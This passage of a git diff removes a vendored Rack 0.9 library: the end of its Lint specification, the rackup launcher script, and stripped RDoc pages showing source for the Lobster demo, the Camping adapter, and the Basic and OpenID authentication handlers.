otherwise. -The environment must not contain the keys -HTTP_CONTENT_TYPE or HTTP_CONTENT_LENGTH -(use the versions without HTTP_). -The CGI keys (named without a period) must have String values. -There are the following restrictions: -* rack.version must be an array of Integers. -* rack.url_scheme must either be +http+ or +https+. -* There must be a valid input stream in rack.input. -* There must be a valid error stream in rack.errors. -* The REQUEST_METHOD must be a valid token. -* The SCRIPT_NAME, if non-empty, must start with / -* The PATH_INFO, if non-empty, must start with / -* The CONTENT_LENGTH, if given, must consist of digits only. -* One of SCRIPT_NAME or PATH_INFO must be - set. PATH_INFO should be / if - SCRIPT_NAME is empty. - SCRIPT_NAME never should be /, but instead be empty. -=== The Input Stream -The input stream must respond to +gets+, +each+ and +read+. -* +gets+ must be called without arguments and return a string, - or +nil+ on EOF. -* +read+ must be called without or with one integer argument - and return a string, or +nil+ on EOF. -* +each+ must be called without arguments and only yield Strings. -* +close+ must never be called on the input stream. -=== The Error Stream -The error stream must respond to +puts+, +write+ and +flush+. -* +puts+ must be called with a single argument that responds to +to_s+. -* +write+ must be called with a single argument that is a String. -* +flush+ must be called without arguments and must be called - in order to make the error appear for sure. -* +close+ must never be called on the error stream. -== The Response -=== The Status -The status, if parsed as integer (+to_i+), must be greater than or equal to 100. -=== The Headers -The header must respond to each, and yield values of key and value. -The header keys must be Strings. -The header must not contain a +Status+ key, -contain keys with : or newlines in their name, -contain keys names that end in - or _, -but only contain keys that consist of -letters, digits, _ or - and start with a letter. -The values of the header must respond to #each. -The values passed on #each must be Strings -and not contain characters below 037. -=== The Content-Type -There must be a Content-Type, except when the -+Status+ is 1xx, 204 or 304, in which case there must be none -given. -=== The Content-Length -There must be a Content-Length, except when the -+Status+ is 1xx, 204 or 304, in which case there must be none -given. -=== The Body -The Body must respond to #each -and must only yield String values. -If the Body responds to #close, it will be called after iteration. -The Body commonly is an Array of Strings, the application -instance itself, or a File-like object. -== Thanks -Some parts of this specification are adopted from PEP333: Python -Web Server Gateway Interface -v1.0 (http://www.python.org/dev/peps/pep-0333/). I'd like to thank -everyone involved in that effort. diff --git a/vendor/plugins/rack/bin/rackup b/vendor/plugins/rack/bin/rackup deleted file mode 100755 index e06efd41..00000000 --- a/vendor/plugins/rack/bin/rackup +++ /dev/null @@ -1,172 +0,0 @@ -#!/usr/bin/env ruby -# -*- ruby -*- - -require 'optparse' - -automatic = false -server = nil -env = "development" -daemonize = false -pid = nil -options = {:Port => 9292, :Host => "0.0.0.0", :AccessLog => []} - -opts = OptionParser.new("", 24, ' ') { |opts| - opts.banner = "Usage: rackup [ruby options] [rack options] [rackup config]" - - opts.separator "" - opts.separator "Ruby options:" - - lineno = 1 - opts.on("-e", "--eval LINE", "evaluate a LINE of code") { |line| - eval line, TOPLEVEL_BINDING, "-e", lineno - lineno += 1 - } - - opts.on("-d", "--debug", "set debugging flags (set $DEBUG to true)") { - $DEBUG = true - } - opts.on("-w", "--warn", "turn warnings on for your script") { - $-w = true - } - - opts.on("-I", "--include PATH", - "specify $LOAD_PATH (may be used more than once)") { |path| - $LOAD_PATH.unshift(*path.split(":")) - } - - opts.on("-r", "--require LIBRARY", - "require the library, before executing your script") { |library| - require library - } - - opts.separator "" - opts.separator "Rack options:" - opts.on("-s", "--server SERVER", "serve using SERVER (webrick/mongrel)") { |s| - server = s - } - - opts.on("-o", "--host HOST", "listen on HOST (default: 0.0.0.0)") { |host| - options[:Host] = host - } - - opts.on("-p", "--port PORT", "use PORT (default: 9292)") { |port| - options[:Port] = port - } - - opts.on("-E", "--env ENVIRONMENT", "use ENVIRONMENT for defaults (default: development)") { |e| - env = e - } - - opts.on("-D", "--daemonize", "run daemonized in the background") { |d| - daemonize = d ? true : false - } - - opts.on("-P", "--pid FILE", "file to store PID (default: rack.pid)") { |f| - pid = File.expand_path(f) - } - - opts.separator "" - opts.separator "Common options:" - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - - opts.on_tail("--version", "Show version") do - require 'rack' - puts "Rack #{Rack.version}" - exit - end - - opts.parse! ARGV -} - -require 'pp' if $DEBUG - -config = ARGV[0] || "config.ru" -if !File.exist? config - abort "configuration #{config} not found" -end - -if config =~ /\.ru$/ - cfgfile = File.read(config) - if cfgfile[/^#\\(.*)/] - opts.parse! $1.split(/\s+/) - end - require 'rack' - inner_app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", - nil, config -else - require 'rack' - require config - inner_app = Object.const_get(File.basename(config, '.rb').capitalize) -end - -unless server = Rack::Handler.get(server) - # Guess. - if ENV.include?("PHP_FCGI_CHILDREN") - server = Rack::Handler::FastCGI - - # We already speak FastCGI - options.delete :File - options.delete :Port - elsif ENV.include?("REQUEST_METHOD") - server = Rack::Handler::CGI - else - begin - server = Rack::Handler::Mongrel - rescue LoadError => e - server = Rack::Handler::WEBrick - end - end -end - -p server if $DEBUG - -case env -when "development" - app = Rack::Builder.new { - use Rack::CommonLogger, STDERR unless server.name =~ /CGI/ - use Rack::ShowExceptions - use Rack::Lint - run inner_app - }.to_app - -when "deployment" - app = Rack::Builder.new { - use Rack::CommonLogger, STDERR unless server.name =~ /CGI/ - run inner_app - }.to_app - -when "none" - app = inner_app - -end - -if $DEBUG - pp app - pp inner_app -end - -if daemonize - if RUBY_VERSION < "1.9" - exit if fork - Process.setsid - exit if fork - Dir.chdir "/" - File.umask 0000 - STDIN.reopen "/dev/null" - STDOUT.reopen "/dev/null", "a" - STDERR.reopen "/dev/null", "a" - else - Process.daemon - end - - if pid - File.open(pid, 'w'){ |f| f.write("#{Process.pid}") } - at_exit { File.delete(pid) if File.exist?(pid) } - end -end - -server.run app, options diff --git a/vendor/plugins/rack/contrib/rack_logo.svg b/vendor/plugins/rack/contrib/rack_logo.svg deleted file mode 100644 index 905dcd32..00000000 --- a/vendor/plugins/rack/contrib/rack_logo.svg +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - image/svg+xml - - - - - - - - - - - - - - - - - - diff --git a/vendor/plugins/rack/doc/classes/L2.html b/vendor/plugins/rack/doc/classes/L2.html deleted file mode 100644 index 4e2bbda6..00000000 --- a/vendor/plugins/rack/doc/classes/L2.html +++ /dev/null @@ -1,149 +0,0 @@ - - - - - - Class: L2 - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassL2
In: - - lib/rack/forward.rb - -
-
Parent: - - Rack::Lobster - -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- call   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/forward.rb, line 47
-47:   def call(env)
-48:     s,h,b = super
-49:     [s,h.merge("env" => env.inspect),b]
-50:   end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack.html b/vendor/plugins/rack/doc/classes/Rack.html deleted file mode 100644 index 093a27f2..00000000 --- a/vendor/plugins/rack/doc/classes/Rack.html +++ /dev/null @@ -1,438 +0,0 @@ - - - - - - Module: Rack - - - - - - - - - - - - - -
- - - -
- -
-

-require ‘cgi‘ -

- -
- - -
- -
-

Methods

- -
- call   - release   - version   -
-
- -
- - - - -
- - - -
-

Constants

- -
- - - - - - - - -
VERSION=[0,1]  -The Rack protocol version number implemented. - -
-
-
- - - - - - - -
-

Public Class methods

- -
- - -
- - release() - -
- -
-

-Return the Rack release as a dotted string. -

-

[Source]

-
-
-    # File lib/rack.rb, line 25
-25:   def self.release
-26:     "0.9"
-27:   end
-
-
-
-
- -
- - -
- - version() - -
- -
-

-Return the Rack protocol version as a dotted string. -

-

[Source]

-
-
-    # File lib/rack.rb, line 20
-20:   def self.version
-21:     VERSION.join(".")
-22:   end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/lobster.rb, line 32
-32:     def call(env)
-33:       req = Request.new(env)
-34:       if req.GET["flip"] == "left"
-35:         lobster = LobsterString.split("\n").
-36:           map { |line| line.ljust(42).reverse }.
-37:           join("\n")
-38:         href = "?flip=right"
-39:       elsif req.GET["flip"] == "crash"
-40:         raise "Lobster crashed"
-41:       else
-42:         lobster = LobsterString
-43:         href = "?flip=left"
-44:       end
-45: 
-46:       res = Response.new
-47:       res.write "<title>Lobstericious!</title>"
-48:       res.write "<pre>"
-49:       res.write lobster
-50:       res.write "</pre>"
-51:       res.write "<p><a href='#{href}'>flip!</a></p>"
-52:       res.write "<p><a href='?flip=crash'>crash!</a></p>"
-53:       res.finish
-54:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Adapter.html b/vendor/plugins/rack/doc/classes/Rack/Adapter.html deleted file mode 100644 index 5df80dc8..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Adapter.html +++ /dev/null @@ -1,130 +0,0 @@ - - - - - - Module: Rack::Adapter - - - - - - - - - - -
- - - - - - - - - - -
ModuleRack::Adapter
In: - - lib/rack.rb - -
- - lib/rack/adapter/camping.rb - -
-
-
- - -
- - - -
- -
-

-Adapters connect Rack with third party -web frameworks. -

-

-Rack includes an adapter for Camping, see README for other frameworks -supporting Rack in their code bases. -

-

-Refer to the submodules for framework-specific calling details. -

- -
- - -
- - -
- - - - -
- -
-

Classes and Modules

- - Class Rack::Adapter::Camping
- -
- - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Adapter/Camping.html b/vendor/plugins/rack/doc/classes/Rack/Adapter/Camping.html deleted file mode 100644 index f8b6c418..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Adapter/Camping.html +++ /dev/null @@ -1,181 +0,0 @@ - - - - - - Class: Rack::Adapter::Camping - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Adapter::Camping
In: - - lib/rack/adapter/camping.rb - -
-
Parent: - Object -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- call   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-   # File lib/rack/adapter/camping.rb, line 4
-4:       def initialize(app)
-5:         @app = app
-6:       end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/adapter/camping.rb, line 8
- 8:       def call(env)
- 9:         env["PATH_INFO"] ||= ""
-10:         env["SCRIPT_NAME"] ||= ""
-11:         controller = @app.run(env['rack.input'], env)
-12:         h = controller.headers
-13:         h.each_pair do |k,v|
-14:           if v.kind_of? URI
-15:             h[k] = v.to_s
-16:           end
-17:         end
-18:         [controller.status, controller.headers, [controller.body.to_s]]
-19:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth.html b/vendor/plugins/rack/doc/classes/Rack/Auth.html deleted file mode 100644 index 2f7e24d6..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Auth.html +++ /dev/null @@ -1,121 +0,0 @@ - - - - - - Module: Rack::Auth - - - - - - - - - - -
- - - - - - - - - - -
ModuleRack::Auth
In: - - lib/rack.rb - -
- - lib/rack/auth/basic.rb - -
- - lib/rack/auth/openid.rb - -
-
-
- - -
- - - -
- - - -
- - -
- - - - -
- -
-

Classes and Modules

- - Module Rack::Auth::Digest
-Class Rack::Auth::Basic
-Class Rack::Auth::OpenID
- -
- - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth/Basic.html b/vendor/plugins/rack/doc/classes/Rack/Auth/Basic.html deleted file mode 100644 index 637a9adc..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Auth/Basic.html +++ /dev/null @@ -1,179 +0,0 @@ - - - - - - Class: Rack::Auth::Basic - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Auth::Basic
In: - - lib/rack/auth/basic.rb - -
-
Parent: - AbstractHandler -
-
- - -
- - - -
- -
-

-Rack::Auth::Basic implements HTTP Basic Authentication, as per RFC 2617. -

-

-Initialize with the Rack application that you -want protecting, and a block that checks if a username and password pair -are valid. -

-

-See also: example/protectedlobster.rb -

- -
- - -
- -
-

Methods

- -
- call   -
-
- -
- - - - -
- -
-

Classes and Modules

- - Class Rack::Auth::Basic::Request
- -
- - - - - - - - -
-

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/auth/basic.rb, line 15
-15:       def call(env)
-16:         auth = Basic::Request.new(env)
-17: 
-18:         return unauthorized unless auth.provided?
-19: 
-20:         return bad_request unless auth.basic?
-21: 
-22:         if valid?(auth)
-23:           env['REMOTE_USER'] = auth.username
-24: 
-25:           return @app.call(env)
-26:         end
-27: 
-28:         unauthorized
-29:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth/Basic/Request.html b/vendor/plugins/rack/doc/classes/Rack/Auth/Basic/Request.html deleted file mode 100644 index 8133424d..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Auth/Basic/Request.html +++ /dev/null @@ -1,194 +0,0 @@ - - - - - - Class: Rack::Auth::Basic::Request - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Auth::Basic::Request
In: - - lib/rack/auth/basic.rb - -
-
Parent: - Auth::AbstractRequest -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- basic?   - credentials   - username   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Instance methods

- -
- - -
- - basic?() - -
- -
-

[Source]

-
-
-    # File lib/rack/auth/basic.rb, line 43
-43:         def basic?
-44:           :basic == scheme
-45:         end
-
-
-
-
- -
- - -
- - credentials() - -
- -
-

[Source]

-
-
-    # File lib/rack/auth/basic.rb, line 47
-47:         def credentials
-48:           @credentials ||= params.unpack("m*").first.split(/:/, 2)
-49:         end
-
-
-
-
- -
- - -
- - username() - -
- -
-

[Source]

-
-
-    # File lib/rack/auth/basic.rb, line 51
-51:         def username
-52:           credentials.first
-53:         end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth/Digest.html b/vendor/plugins/rack/doc/classes/Rack/Auth/Digest.html deleted file mode 100644 index 9b3c2d76..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Auth/Digest.html +++ /dev/null @@ -1,105 +0,0 @@ - - - - - - Module: Rack::Auth::Digest - - - - - - - - - - -
- - - - - - - - - - -
ModuleRack::Auth::Digest
In: - - lib/rack.rb - -
-
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID.html b/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID.html deleted file mode 100644 index 0a3716ac..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID.html +++ /dev/null @@ -1,807 +0,0 @@ - - - - - - Class: Rack::Auth::OpenID - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Auth::OpenID
In: - - lib/rack/auth/openid.rb - -
-
Parent: - AbstractHandler -
-
- - -
- - - -
- -
-

-Rack::Auth::OpenID provides a simple method for -permitting openid based logins. It requires the ruby-openid library from -janrain to operate, as well as a rack method of session management. -

-

-The ruby-openid home page is at openidenabled.com/ruby-openid/. -

-

-The OpenID specifications can be found at openid.net/specs/openid-authentication-1_1.html -and openid.net/specs/openid-authentication-2_0.html. -Documentation for published OpenID extensions and -related topics can be found at openid.net/developers/specs/. -

-

-It is recommended to read through the OpenID -spec, as well as ruby-openid‘s documentation, to understand what -exactly goes on. However a setup as simple as the presented examples is -enough to provide functionality. -

-

-This library strongly intends to utilize the OpenID 2.0 features of the ruby-openid library, -while maintaining OpenID 1.0 compatiblity. -

-

-All responses from this rack application will be 303 redirects unless an -error occurs, with the exception of an authentication request requiring an -HTML form submission. -

-

-NOTE: Extensions are not currently supported by this implimentation of the -OpenID rack application due to the complexity of -the current ruby-openid extension handling. -

-

-NOTE: Due to the amount of data that this library stores in the session, Rack::Session::Cookie may fault. -

- -
- - -
- -
-

Methods

- -
- add_extension   - call   - check   - extension_namespaces   - finish   - new   -
-
- -
- - - - -
- -
-

Classes and Modules

- - Class Rack::Auth::OpenID::NoSession
- -
- -
-

Constants

- -
- - - - - - - - - - - - - -
OIDStore=::OpenID::Store::Memory.new  -Required for ruby-openid - -
HTML='<html><head><title>%s</title></head><body>%s</body></html>'
-
-
- - - -
-

Attributes

- -
- - - - - - - - - - - -
extensions [R] 
options [R] 
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(realm, options={}) - -
- -
-

-A Hash of options is taken as it‘s single initializing argument. For -example: -

-
-  simple_oid = OpenID.new('http://mysite.com/')
-
-  return_oid = OpenID.new('http://mysite.com/', {
-    :return_to => 'http://mysite.com/openid'
-  })
-
-  page_oid = OpenID.new('http://mysite.com/',
-    :login_good => 'http://mysite.com/auth_good'
-  )
-
-  complex_oid = OpenID.new('http://mysite.com/',
-    :return_to => 'http://mysite.com/openid',
-    :login_good => 'http://mysite.com/user/preferences',
-    :auth_fail => [500, {'Content-Type'=>'text/plain'},
-      'Unable to negotiate with foreign server.'],
-    :immediate => true,
-    :extensions => {
-      ::OpenID::SReg => [['email'],['nickname']]
-    }
-  )
-
-

Arguments

-

-The first argument is the realm, identifying the site they are trusting -with their identity. This is required. -

-

-NOTE: In OpenID 1.x, the realm or trust_root is -optional and the return_to url is required. As this library strives tward -ruby-openid 2.0, and OpenID 2.0 compatibiliy, the -realm is required and return_to is optional. However, this implimentation -is still backwards compatible with OpenID 1.0 -servers. -

-

-The optional second argument is a hash of options. -

-

Options

-

-:return_to defines the url to return to after the client -authenticates with the openid service provider. This url should point to -where Rack::Auth::OpenID is mounted. If -:return_to is not provided, :return_to will be the current url -including all query parameters. -

-

-:session_key defines the key to the session hash in the env. It -defaults to ‘rack.session’. -

-

-:openid_param defines at what key in the request parameters to -find the identifier to resolve. As per the 2.0 spec, the default is -‘openid_identifier’. -

-

-:immediate as true will make immediate type of requests the -default. See OpenID specification documentation. -

-

URL options

-

-:login_good is the url to go to after the authentication process -has completed. -

-

-:login_fail is the url to go to after the authentication process -has failed. -

-

-:login_quit is the url to go to after the authentication process -has been cancelled. -

-

Response options

-

-:no_session should be a rack response to be returned if no or an -incompatible session is found. -

-

-:auth_fail should be a rack response to be returned if an -OpenID::DiscoveryFailure occurs. This is typically due to being unable to -access the identity url or identity server. -

-

-:error should be a rack response to return if any other generic -error would occur and options[:catch_errors] is true. -

-

Extensions

-

-:extensions should be a hash of openid extension implementations. -The key should be the extension main module, the value should be an array -of arguments for extension::Request.new -

-

-The hash is iterated over and passed to add_extension for processing. Please see add_extension for further documentation. -

-

[Source]

-
-
-     # File lib/rack/auth/openid.rb, line 137
-137:       def initialize(realm, options={})
-138:         @realm = realm
-139:         realm = URI(realm)
-140:         if realm.path.empty?
-141:           raise ArgumentError, "Invalid realm path: '#{realm.path}'"
-142:         elsif not realm.absolute?
-143:           raise ArgumentError, "Realm '#{@realm}' not absolute"
-144:         end
-145: 
-146:         [:return_to, :login_good, :login_fail, :login_quit].each do |key|
-147:           if options.key? key and luri = URI(options[key])
-148:             if !luri.absolute?
-149:               raise ArgumentError, ":#{key} is not an absolute uri: '#{luri}'"
-150:             end
-151:           end
-152:         end
-153: 
-154:         if options[:return_to] and ruri = URI(options[:return_to])
-155:           if ruri.path.empty?
-156:             raise ArgumentError, "Invalid return_to path: '#{ruri.path}'"
-157:           elsif realm.path != ruri.path[0, realm.path.size]
-158:             raise ArgumentError, 'return_to not within realm.' \
-159:           end
-160:         end
-161: 
-162:         # TODO: extension support
-163:         if extensions = options.delete(:extensions)
-164:           extensions.each do |ext, args|
-165:             add_extension ext, *args
-166:           end
-167:         end
-168: 
-169:         @options = {
-170:           :session_key => 'rack.session',
-171:           :openid_param => 'openid_identifier',
-172:           #:return_to, :login_good, :login_fail, :login_quit
-173:           #:no_session, :auth_fail, :error
-174:           :store => OIDStore,
-175:           :immediate => false,
-176:           :anonymous => false,
-177:           :catch_errors => false
-178:         }.merge(options)
-179:         @extensions = {}
-180:       end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - add_extension(ext, *args) - -
- -
-

-The first argument should be the main extension module. The extension -module should contain the constants: -

-
-  * class Request, with OpenID::Extension as an ancestor
-  * class Response, with OpenID::Extension as an ancestor
-  * string NS_URI, which defines the namespace of the extension, should
-    be an absolute http uri
-
-

-All trailing arguments will be passed to extension::Request.new in check. The openid response will be passed to -extension::Response#from_success_response, get_extension_args will be -called on the result to attain the gathered data. -

-

-This method returns the key at which the response data will be found in the -session, which is the namespace uri by default. -

-

[Source]

-
-
-     # File lib/rack/auth/openid.rb, line 402
-402:       def add_extension ext, *args
-403:         if not ext.is_a? Module
-404:           raise TypeError, "#{ext.inspect} is not a module"
-405:         elsif !(m = %w'Request Response NS_URI' -
-406:                 ext.constants.map{ |c| c.to_s }).empty?
-407:           raise ArgumentError, "#{ext.inspect} missing #{m*', '}"
-408:         end
-409: 
-410:         consts = [ext::Request, ext::Response]
-411: 
-412:         if not consts.all?{|c| c.is_a? Class }
-413:           raise TypeError, "#{ext.inspect}'s Request or Response is not a class"
-414:         elsif not consts.all?{|c| ::OpenID::Extension > c }
-415:           raise ArgumentError, "#{ext.inspect}'s Request or Response not a decendant of OpenID::Extension"
-416:         end
-417: 
-418:         if not ext::NS_URI.is_a? String
-419:           raise TypeError, "#{ext.inspect}'s NS_URI is not a string"
-420:         elsif not uri = URI(ext::NS_URI)
-421:           raise ArgumentError, "#{ext.inspect}'s NS_URI is not a valid uri"
-422:         elsif not uri.scheme =~ /^https?$/
-423:           raise ArgumentError, "#{ext.inspect}'s NS_URI is not an http uri"
-424:         elsif not uri.absolute?
-425:           raise ArgumentError, "#{ext.inspect}'s NS_URI is not and absolute uri"
-426:         end
-427:         @extensions[ext] = args
-428:         return ext::NS_URI
-429:       end
-
-
-
-
- -
- - -
- - call(env) - -
- -
-

-It sets up and uses session data at :openid within the session. It -sets up the ::OpenID::Consumer using the store specified by -options[:store]. -

-

-If the parameter specified by options[:openid_param] is present, -processing is passed to check and the -result is returned. -

-

-If the parameter ‘openid.mode’ is set, implying a followup from -the openid server, processing is passed to finish and the result is returned. -

-

-If neither of these conditions are met, a 400 error is returned. -

-

-If an error is thrown and options[:catch_errors] is false, the -exception will be reraised. Otherwise a 500 error is returned. -

-

[Source]

-
-
-     # File lib/rack/auth/openid.rb, line 199
-199:       def call(env)
-200:         env['rack.auth.openid'] = self
-201:         session = env[@options[:session_key]]
-202:         unless session and session.is_a? Hash
-203:           raise(NoSession, 'No compatible session')
-204:         end
-205:         # let us work in our own namespace...
-206:         session = (session[:openid] ||= {})
-207:         unless session and session.is_a? Hash
-208:           raise(NoSession, 'Incompatible session')
-209:         end
-210: 
-211:         request = Rack::Request.new env
-212:         consumer = ::OpenID::Consumer.new session, @options[:store]
-213: 
-214:         if request.params['openid.mode']
-215:           finish consumer, session, request
-216:         elsif request.params[@options[:openid_param]]
-217:           check consumer, session, request
-218:         else
-219:           env['rack.errors'].puts "No valid params provided."
-220:           bad_request
-221:         end
-222:       rescue NoSession
-223:         env['rack.errors'].puts($!.message, *$@)
-224: 
-225:         @options. ### Missing or incompatible session
-226:           fetch :no_session, [ 500,
-227:             {'Content-Type'=>'text/plain'},
-228:             $!.message ]
-229:       rescue
-230:         env['rack.errors'].puts($!.message, *$@)
-231: 
-232:         if not @options[:catch_error]
-233:           raise($!)
-234:         end
-235:         @options.
-236:           fetch :error, [ 500,
-237:             {'Content-Type'=>'text/plain'},
-238:             'OpenID has encountered an error.' ]
-239:       end
-
-
-
-
- -
- - -
- - check(consumer, session, req) - -
- -
-

-As the first part of OpenID consumer action, check retrieves the data required for -completion. -

-
    -
  • session[:openid][:openid_param] is set to the submitted identifier -to be authenticated. - -
    • -
  • session[:openid][:site_return] is set as the request‘s -HTTP_REFERER, unless already set. - -
    • -
  • env is the openid -checkid request instance. - -
    • -
-

[Source]

-
-
-     # File lib/rack/auth/openid.rb, line 250
-250:       def check(consumer, session, req)
-251:         session[:openid_param]  = req.params[@options[:openid_param]]
-252:         oid = consumer.begin(session[:openid_param], @options[:anonymous])
-253:         pp oid if $DEBUG
-254:         req.env['rack.auth.openid.request'] = oid
-255: 
-256:         session[:site_return] ||= req.env['HTTP_REFERER']
-257: 
-258:         # SETUP_NEEDED check!
-259:         # see OpenID::Consumer::CheckIDRequest docs
-260:         query_args = [@realm, *@options.values_at(:return_to, :immediate)]
-261:         query_args[1] ||= req.url
-262:         query_args[2] = false if session.key? :setup_needed
-263:         pp query_args if $DEBUG
-264: 
-265:         ## Extension support
-266:         extensions.each do |ext,args|
-267:           oid.add_extension ext::Request.new(*args)
-268:         end
-269: 
-270:         if oid.send_redirect?(*query_args)
-271:           redirect = oid.redirect_url(*query_args)
-272:           if $DEBUG
-273:             pp redirect
-274:             pp Rack::Utils.parse_query(URI(redirect).query)
-275:           end
-276:           [ 303, {'Location'=>redirect}, [] ]
-277:         else
-278:           # check on 'action' option.
-279:           formbody = oid.form_markup(*query_args)
-280:           if $DEBUG
-281:             pp formbody
-282:           end
-283:           body = HTML % ['Confirm...', formbody]
-284:           [ 200, {'Content-Type'=>'text/html'}, body.to_a ]
-285:         end
-286:       rescue ::OpenID::DiscoveryFailure => e
-287:         # thrown from inside OpenID::Consumer#begin by yadis stuff
-288:         req.env['rack.errors'].puts($!.message, *$@)
-289: 
-290:         @options. ### Foreign server failed
-291:           fetch :auth_fail, [ 503,
-292:             {'Content-Type'=>'text/plain'},
-293:             'Foreign server failure.' ]
-294:       end
-
-
-
-
- -
- - -
- - extension_namespaces() - -
- -
-

-A conveniance method that returns the namespace of all current extensions -used by this instance. -

-

[Source]

-
-
-     # File lib/rack/auth/openid.rb, line 433
-433:       def extension_namespaces
-434:         @extensions.keys.map{|e|e::NS_URI}
-435:       end
-
-
-
-
- -
- - -
- - finish(consumer, session, req) - -
- -
-

-This is the final portion of authentication. Unless any errors outside of -specification occur, a 303 redirect will be returned with Location -determined by the OpenID response type. If none -of the response type :login_* urls are set, the redirect will be set to -session[:openid][:site_return]. If -session[:openid][:site_return] is unset, the realm will be used. -

-

-Any messages from OpenID‘s response are -appended to the 303 response body. -

-

-Data gathered from extensions are stored in session[:openid] with the -extension‘s namespace uri as the key. -

-
    -
  • env is the openid -response. - -
    • -
-

-The four valid possible outcomes are: -

-
    -
  • failure: options[:login_fail] or session[:site_return] or -the realm - -
      -
    • session[:openid] is cleared and any messages are send to -rack.errors - -
      • -
    • session[:openid][‘authenticated’] is false - -
      • -
    -
    • -
  • success: options[:login_good] or session[:site_return] or -the realm - -
      -
    • session[:openid] is cleared - -
      • -
    • session[:openid][‘authenticated’] is true - -
      • -
    • session[:openid][‘identity’] is the actual identifier - -
      • -
    • session[:openid][‘identifier’] is the pretty -identifier - -
      • -
    -
    • -
  • cancel: options[:login_good] or session[:site_return] or -the realm - -
      -
    • session[:openid] is cleared - -
      • -
    • session[:openid][‘authenticated’] is false - -
      • -
    -
    • -
  • setup_needed: resubmits the authentication request. A flag is set for -non-immediate handling. - -
      -
    • session[:openid][:setup_needed] is set to true, which -will prevent immediate style openid authentication. - -
      • -
    -
    • -
-

[Source]

-
-
-     # File lib/rack/auth/openid.rb, line 332
-332:       def finish(consumer, session, req)
-333:         oid = consumer.complete(req.params, req.url)
-334:         pp oid if $DEBUG
-335:         req.env['rack.auth.openid.response'] = oid
-336: 
-337:         goto = session.fetch :site_return, @realm
-338:         body = []
-339: 
-340:         case oid.status
-341:         when ::OpenID::Consumer::FAILURE
-342:           session.clear
-343:           session['authenticated'] = false
-344:           req.env['rack.errors'].puts oid.message
-345: 
-346:           goto = @options[:login_fail] if @options.key? :login_fail
-347:           body << "Authentication unsuccessful.\n"
-348:         when ::OpenID::Consumer::SUCCESS
-349:           session.clear
-350: 
-351:           ## Extension support
-352:           extensions.each do |ext, args|
-353:             session[ext::NS_URI] = ext::Response.
-354:               from_success_response(oid).
-355:               get_extension_args
-356:           end
-357: 
-358:           session['authenticated'] = true
-359:           # Value for unique identification and such
-360:           session['identity'] = oid.identity_url
-361:           # Value for display and UI labels
-362:           session['identifier'] = oid.display_identifier
-363: 
-364:           goto = @options[:login_good] if @options.key? :login_good
-365:           body << "Authentication successful.\n"
-366:         when ::OpenID::Consumer::CANCEL
-367:           session.clear
-368:           session['authenticated'] = false
-369: 
-370:           goto = @options[:login_fail] if @options.key? :login_fail
-371:           body << "Authentication cancelled.\n"
-372:         when ::OpenID::Consumer::SETUP_NEEDED
-373:           session[:setup_needed] = true
-374:           unless o_id = session[:openid_param]
-375:             raise('Required values missing.')
-376:           end
-377: 
-378:           goto = req.script_name+
-379:             '?'+@options[:openid_param]+
-380:             '='+o_id
-381:           body << "Reauthentication required.\n"
-382:         end
-383:         body << oid.message if oid.message
-384:         [ 303, {'Location'=>goto}, body]
-385:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID/NoSession.html b/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID/NoSession.html deleted file mode 100644 index 543f38bc..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Auth/OpenID/NoSession.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - Class: Rack::Auth::OpenID::NoSession - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Auth::OpenID::NoSession
In: - - lib/rack/auth/openid.rb - -
-
Parent: - RuntimeError -
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
